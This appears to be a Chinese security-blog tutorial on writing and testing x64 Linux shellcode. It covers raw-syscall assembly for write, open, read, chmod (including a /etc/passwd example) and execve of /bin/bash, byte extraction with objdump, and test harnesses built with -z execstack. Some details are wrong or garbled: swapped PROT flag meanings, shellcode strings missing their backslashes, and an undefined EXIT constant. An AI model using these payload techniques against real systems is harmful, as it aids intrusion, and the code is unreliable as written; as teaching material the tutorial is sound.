本篇主要是以x64系統(tǒng)為例對系統(tǒng)調(diào)用中一些功能性函數(shù)的解讀和實際運用。目前網(wǎng)絡(luò)上流傳的通用shellcode,均使用系統(tǒng)調(diào)用實現(xiàn),在記錄整個學(xué)習(xí)過程的同時分享給大家一起學(xué)習(xí)探討。
0x01 Shellcode 簡介
0x1 shellcode
Shellcode 是一段可以執(zhí)行特定功能的特殊匯編代碼,在設(shè)備漏洞利用過程中注入到目標(biāo)程序中從而被執(zhí)行,在比賽或者是實戰(zhàn)中棧溢出漏洞使用的更為頻繁,編寫Shellcode比編寫RopGagdet更為簡單,棧溢出的最經(jīng)典的利用方式是Ret2Shellcode。
0x2 exploit 與 shellcode關(guān)系
exploit主要強調(diào)執(zhí)行控制權(quán),而shellcode更關(guān)注于有了控制權(quán)之后的功能。因此shellcode更像是exploit的載荷,往往對于不同漏洞來講exploit是特殊的,而shellcode會具有一些通用性。
0x02 使用條件
對 shellcode 有了大概的了解之后,看一看其使用場景。一般來說這三點是必備條件,缺一不可,通過控制程序流程跳轉(zhuǎn)到shellcode地址上去。
0x1 擁有程序控制權(quán)
這一點毋庸置疑,可以通過棧溢出或者是格式化字符串,堆溢出等漏洞劫持程序的執(zhí)行流。所以shellcode等的定位是漏洞觸發(fā)之后的漏洞利用,主要負(fù)責(zé)實現(xiàn)攻擊者的攻擊目的。
0x2 擁有shellcode地址
不論是程序擁有隨機化還是固定基地址,都需要在跳轉(zhuǎn)之前獲取shellcode存儲地址,一般采用的技巧是
- 在程序bss段固定,且程序地址不隨機
- shellcode為程序正常功能輸入,在寄存器中保存有其地址
- 在堆棧附近存在與shellcode地址相關(guān)聯(lián)地址
0x3 shellcode在可執(zhí)行內(nèi)存空間
最后跳轉(zhuǎn)到shellcode地址上后需要有可執(zhí)行權(quán)限才能執(zhí)行。但通常程序開啟NX保護(hù)后,其內(nèi)存空間禁止代碼執(zhí)行,這是只能通過mprotect函數(shù)修改shellcode內(nèi)存權(quán)限,賦予可執(zhí)行權(quán)限后再跳轉(zhuǎn)。一般利用 RopGagdet 布局mprotect 函數(shù)修改內(nèi)存權(quán)限。
重點關(guān)注兩個方面 start地址和prot取值
1 起始地址
需要指出的是,鎖指定的內(nèi)存區(qū)間必須包含整個內(nèi)存頁(4K)。區(qū)間開始的地址start必須是一個內(nèi)存頁的起始地址,并且區(qū)間長度len必須是頁大小的整數(shù)倍。
2 prot賦值
prot可以取以下幾個值,并且可以用“|”將幾個屬性合起來使用,括號中的數(shù)字是在預(yù)編譯的時候替換的真實值:
1)PROT_READ(1):表示內(nèi)存段內(nèi)的內(nèi)容可寫;
2)PROT_WRITE(2):表示內(nèi)存段內(nèi)的內(nèi)容可讀;
3)PROT_EXEC(4):表示內(nèi)存段中的內(nèi)容可執(zhí)行;
4)PROT_NONE(0):表示內(nèi)存段中的內(nèi)容根本沒法訪問。
0x03 編寫技巧
打算從系統(tǒng)調(diào)用函數(shù)、字符串設(shè)計、代碼模板、shellcode提取這幾個發(fā)面著手寫這部分內(nèi)容,主要解決以下三大問題:
- 對系統(tǒng)調(diào)用函數(shù)不熟悉,特別是為參數(shù)賦值問題撓頭
- 對匯編代碼編寫不熟悉,解決寄存器和內(nèi)存應(yīng)用問題
- 對匯編代碼編譯不熟悉,解決怎么從編譯好的匯編程序中完整提取shellcode問題
0x1 系統(tǒng)調(diào)用函數(shù)
提到shellcode 就不得不說系統(tǒng)調(diào)用,我們首先考慮為什么要寫shellcode,其目的是執(zhí)行一些程序本身不具備的功能,實現(xiàn)攻擊者的攻擊目的。湊巧的是在匯編語言中有這么一些函數(shù)調(diào)用基本可以實現(xiàn)所有功能,我們稱他們?yōu)橄到y(tǒng)調(diào)用函數(shù),通過系統(tǒng)調(diào)用可以直接訪問系統(tǒng)內(nèi)核,具有非常強大的功能。
詳細(xì)的系統(tǒng)調(diào)用表網(wǎng)址如下
https://filippo.io/linux-syscall-table/
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/9.4_linux_syscall.html
系統(tǒng)調(diào)用 在匯編代碼中表示為syscall(int 0x80)指令,32和64位系統(tǒng)有所區(qū)別,二者有單獨調(diào)用表。
0x2 巧取字符串
初步認(rèn)識shellcode的編寫技巧,先從最簡單的例子看起,下面代碼如果當(dāng)作匯編語言執(zhí)行是完全沒有問題的,但是如果做為shellcode的話還是差點火候。這里用兩種方法規(guī)避這種錯誤:
section .data
WRITE equ 1
EXIT equ 60
MESSAGE db "Hello", 0xa
section .text
global _start
_start:
mov rax, WRITE
mov rdi, 1
mov rsi, MESSAGE
mov rdx, 5
syscall
jmp exit
exit:
mov rax, EXIT
mov rdi, 0
syscall
編譯指令如下
nasm -g -f elf64 -o asm.o asm.s
ld -o asm asm.o
編譯過后可以發(fā)現(xiàn)字符串位于data段,指針利用的是絕對地址,在shellcode中是不能出現(xiàn)絕對地址,這也是shellcode的頭等大忌。
1 方法一
利用call指令壓棧的特性,將字符串的地址壓棧之后再pop到寄存器中,在shellcode編寫中是一種非常常用的方法。我們可以看到字符串緊跟在call指令之后,因為call壓棧就是壓的下一條指令的地址,此地址正好為字符串地址。
section .data
WRITE equ 1
EXIT equ 60
section .text
global _start
_start:
mov rax, WRITE
mov rdi, 1
jmp getstring
string:
pop rsi
mov rdx, 5
syscall
jmp exit
getstring:
call string
MESSAGE db "Hello", 0xa
exit:
mov rax, EXIT
mov rdi, 0
syscall
2 方法二
同時也是利用棧的特性,將字符串計算過大小,以及分割完畢之后就可以分撥壓進(jìn)棧中,保存最后的esp值就可以實現(xiàn)字符串地址的獲取。
section .data
WRITE equ 1
EXIT equ 60
MESSAGE db "Hello", 0xa
section .text
global _start
_start:
mov rax, WRITE
mov rdi, 1
mov rsi,0x00000a6f6c6c6548
push rsi
mov rsi, rsp
mov rdx, 5
syscall
jmp exit
exit:
mov rax, EXIT
mov rdi, 0
syscall
0x3 文件讀
1 sys_open
文件讀寫都需要涉及打開文件操作,是通過內(nèi)核提供的系統(tǒng)調(diào)用sys_open來實現(xiàn)的。具體參數(shù)如下:
asmlinkage long sys_open(const char __user *filename, int flags, int mode)
這里需要注意在文件操作之后,需要利用close函數(shù)關(guān)閉文件描述符。分別介紹flags和mode參數(shù)取值,flags表示在打開文件時標(biāo)志屬性,mode為在創(chuàng)建文件的時候文件屬性。
flags
表示只讀、只寫和創(chuàng)建。如果想賦予多個屬性可以用|鏈接類似于 O_WRONLY|O_CREAT
mode
mode 相關(guān)取值表如下,值得注意是mode的表示為8進(jìn)制,也就是說 777 的rwxrwxrwx 權(quán)限是8進(jìn)制數(shù)。用下面的 屬性標(biāo)示為 S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IROTH|S_IWOTH|S_IXOTH
打開文件用匯編表示為
section .data
OPEN equ 2
EXIT equ 60
FILENAME db "test", 0x00
section .text
global _start
_start:
mov rax, OPEN
mov rdi, FILENAME
mov rsi, 2
mov rdx, 666
syscall
jmp exit
exit:
mov rax, EXIT
mov rdi, 0
syscall
2 sys_read
section .data
OPEN equ 2
READ equ 0
EXIT equ 60
FILENAME db "xxx", 0x00
BUFFER db "11111"
section .text
global _start
_start:
mov rax, OPEN
mov rdi, FILENAME
mov rsi, 2
mov rdx, 511
syscall
mov rdi, rax
mov rax, READ
mov rsi, BUFFER
mov rdx, 8
syscall
mov rax, EXIT
mov rdi, 0
syscall
上述代碼中xxx為二進(jìn)制文件,如下圖成功讀出elf內(nèi)容:
0x4 文件寫
open 操作與之前一樣,新增write操作,相關(guān)系統(tǒng)調(diào)用參數(shù)如下:
section .data
OPEN equ 2
EXIT equ 60
FILENAME db "hehe", 0x00
section .text
global _start
_start:
mov rax, OPEN
mov rdi, FILENAME
mov rsi, 65
mov rdx, 511
syscall
mov rdi, rax
jmp wirte
wirte:
mov rsi, FILENAME
mov rdx, 4
syscall
jmp exit
exit:
mov rax, EXIT
mov rdi, 0
syscall
0x5 權(quán)限修改
在linux中權(quán)限修改利用chmod指令,在系統(tǒng)調(diào)用的時候采用的sys_chmod函數(shù)
在分析open函數(shù)時有討論mode的取值,這里就不再分析
有時在shellcode中需要修改程序的權(quán)限
#include <sys/types.h>
#include <sys/stat.h>
main()
{
chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
}
section .data
CHMOD equ 90
EXIT equ 60
FILENAME db "xxx", 0x00
section .text
global _start
_start:
mov rax, CHMOD
mov rdi, FILENAME
mov rsi, 511
syscall
mov rax, EXIT
mov rdi, 0
syscall
0x6 命令執(zhí)行
system函數(shù)中的命令執(zhí)行用的是syscall execve系統(tǒng)調(diào)用。其參數(shù)格式如下
調(diào)試system函數(shù)內(nèi)部的參數(shù)調(diào)用可以看出rax是系統(tǒng)調(diào)用號,rdi是filename,rsi是字符串?dāng)?shù)組
字符串?dāng)?shù)組內(nèi)存布局如下
section .data
EXECVE equ 59
FILENAME db "/bin/bash", 0x00
section .text
global _start
_start:
mov rax, EXECVE
mov rdi, FILENAME
mov rsi, 0
mov rdx, 0
syscall
mov rax, EXIT
mov rdi, 0
syscall
0x7 shellcode 提取技巧
這里參照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump
objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
0x04 驗證技巧
走到這一步的大哥們都已經(jīng)編好了自己的shellcode,開始磨刀霍霍向牛羊了,這里介紹兩種常用的檢查shellcode功能的方法,內(nèi)聯(lián)匯編和函數(shù)指針。
0x0 關(guān)閉棧不可執(zhí)行
因為在測試時,shellcode在bss段,在關(guān)閉NX編譯選項之后bss段也擁有了可執(zhí)行屬性,具體操作如下。
注意在編譯的時候加上 -z execstack
gcc -o test test.c -z execstack
0x1 內(nèi)聯(lián)匯編
在linux 下的C語言中主要采用的是 att格式的匯編,這里有個坑,一開始沒接觸c內(nèi)聯(lián)att格式匯編的小盆友們要注意了jmp eax的寫法為jmp *%rax
#include<stdio.h>
char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(int argc, char **argv)
{
__asm__("lea shellcode,%eax;jmp *%rax");
return 0;
}
如圖中代碼所示,rip已經(jīng)指向jmp rax指令此時的rax就是shellcode那段字符串的地址。因為這段內(nèi)存擁有可執(zhí)行,最后成功執(zhí)行shellcode。
0x2 函數(shù)指針
第二種方法大同小異,也是將shellcode放在程序的bss段上,利用之前的編譯指令編好后調(diào)試。
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(void)
{
int (*func)() = (int(*)())shellcode;
func();
}
在上述匯編代碼中可以看出將shellcode 的地址賦值給了rdx寄存器,后續(xù)直接call調(diào)用。
0x05 總結(jié)
簡單的記錄了常見shellcode功能編寫測試方法,本文介紹的還是比較寬泛,也只針對64位系統(tǒng)進(jìn)行分析,之后會把其他架構(gòu)還有x86的利用方式慢慢補齊,還請大佬們多指點指點。
0x06 參考文獻(xiàn)
https://filippo.io/linux-syscall-table/
https://xz.aliyun.com/t/2052
http://www.vividmachines.com/shellcode/shellcode.html
https://blog.csdn.net/littlehedgehog/article/details/2653743
歡迎登錄安全客 -有思想的安全新媒體www.anquanke.com/加入交流群113129131 獲取更多最新資訊
原文鏈接: https://www.anquanke.com/post/id/216207






